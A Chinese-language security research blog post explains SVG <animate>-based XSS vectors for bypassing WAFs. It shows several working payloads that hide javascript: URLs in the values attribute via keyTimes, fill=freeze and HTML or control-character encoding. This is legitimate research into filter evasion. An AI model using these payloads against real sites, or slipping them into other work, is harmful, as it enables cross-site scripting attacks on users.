最近,我学习了如何通过在<animate>标签的values属性中间插入JavaScript URL来绕过WAF。大多数WAF可以轻松提取属性的值,然后检测其中的恶意有效负载,例如javascript:alert(1)。该文章基于以下事实:values属性可能包含多个值,每个值都用分号分隔。由于每个单独的值都分别由动画标签处理,因此我们可能会通过走私恶意javascript:alert(1)作为values属性的中间(或最后一个)参数来误导WAF,例如:

<animate values="http://safe-url/?;javascript:alert(1);C">

这样,某些WAF可能无法正确理解,并将上述属性的值视为安全的URL。

这项研究的作者提出了一个完美的XSS攻击媒介:

<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>

在下面的段落中,我将研究上述方法的不同变化。每个示例都包含用户交互XSS。要弹出警报,请将示例代码片段插入html文件,然后单击“ XSS”文本。

姿势长度缩短

在开始之前,我们需要了解valueskeyTimes属性之间的关系。
让我们看一下文档,以了解keyTimes的实际情况:

以分号分隔的时间值列表,用于控制动画的步调。列表中的每个时间都对应于values属性列表中的一个值,并定义了何时在动画功能中使用该值。

“ keyTimes”列表中的每个时间值都指定为0到1(含)之间的浮点值,代表动画元素的简单持续时间的比例偏移。

对于线性和样条动画,列表中的第一个时间值必须为0,列表中的最后一个时间值必须为1。与每个值关联的关键时间定义何时设置该值;值在关键时间之间进行插值。

为了更好地了解其行为,我们将创建一个滑动圆的动画:
(自己尝试,直接把下面代码复制到html文件,在本地打开就可以了)

<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s repeatCount=indefinite
        values="0 ; 80 ; 120  " keyTimes="0; 0.5; 1"/>
  </circle>
</svg>

在上面的示例中,发生了两个动画。 圆圈从0滑到80,然后从80滑到120。我们减少中间keyTimes属性的次数(将前一个值设置为0.5)越多,动画的第一部分越快。 但是,当该值减小到0时,动画的第一部分将被忽略,并且圆圈将从80滑动到120。这正是我们需要的:

<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s repeatCount=indefinite
        values="0 ; 80 ; 120  " keyTimes="0; 0; 1"/>
  </circle>
</svg>

我们要确保始终显示动画的第二部分(而始终忽略第一部分)。为此,设置了两个附加属性:
repeatCount = indefinite - 告诉动画继续前进,
dur = 5s - 持续时间(任何值都足够)

让我们快速浏览一下文档,注意这两个属性是多余的:

代替无限重复5s动画,我们可以创建不重复的无限动画。这样,我们就可以摆脱dur属性(默认情况下将其设置为不确定的值),然后我们可以删除repeatCount

对于下面的代码:

values="https://safe-url?;javascript:alert(1);0"
keytimes=0;0;1

第一个values值不会发生(因此href属性不会设置为https:// safe-url),而第二个values值会发生(href指向javascript:alert(1),并且会无限期保留在那里)。 这样,我们可以缩小初始XSS攻击payload,如下所示:

<svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=xss><text x=20 y=20>XSS</text></a>

替代keyTime属性

事实证明keyTimes不是唯一允许我们使用values属性列表中非第一个值的属性。由于我们想在任何地方(而不是一开始)走私javascript:alert(1),所以最明显的解决方案是将其放在结尾。

SVG标准定义了属性fill。它指定动画的最终状态是第一帧还是最后一帧。

<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove />
  </circle>
</svg>

如果属性fill设置为"remove",则在动画结束时它将移回第一帧。圆从0滑到80,然后移回0位置。

<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze />
  </circle>
</svg>

如果将属性fill设置为"freeze",则动画将保留最后一个动画帧的状态。圆从0滑到80,并停留在完成动画的位置80。这样,我们可以将javascript:alert(1)作为最后一个元素,并确保在动画结束时始终显示该元素。

这种解决方案有点棘手。在碰到最后一个元素之前,我们需要遍历第一个元素。我们不能像对keyTimes一样忽略它;但是,我们可以通过将动画的持续时间设置为非常短的值(例如:1毫秒),使第一个动画帧几乎可以被人眼忽略。

动画开始播放时,href属性将仅设置1毫秒为http://isec.pl,然后它将保留在javascript:alert(1)上。

<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

HTML编码

此外,我们允许对values属性中的任何字符进行HTML编码。这样,我们可能会更好地欺骗WAF规则。

<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;j&#97;v&#x61;script:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

由于HTML10编码很方便,因此我们可能会使用一些额外的行为,允许某些字符出现在javascript:协议标识符之前。 01-32范围内的每个ASCII值都可以使用,例如。:

<svg><animate xlink:href=#xss attributeName=href  values="&#11;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href  values="&#01;&#02;&#03;&#04;&#05;&#06;&#07;&#08;&#09;&#10;&#11;&#12;&#13;&#14;&#15;&#16;&#17;&#18;&#19;&#20;&#21;&#22;&#23;&#24;&#25;&#26;&#27;&#28;&#29;&#30;&#31;&#32;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>

总结

在本文中,我们发现SVG规范隐藏了许多潜在的XSS攻击媒介。 即使是简单的属性值也可能导致多个恶意负载,这有助于绕过WAF。 呈现的向量已在Firefox和Chrome上进行了测试。

参考

XSS fun with animated SVG
SVG animate XSS vector

点击收藏 | 1 关注 | 4
  • 动动手指,沙发就是你的了!
登录 后跟帖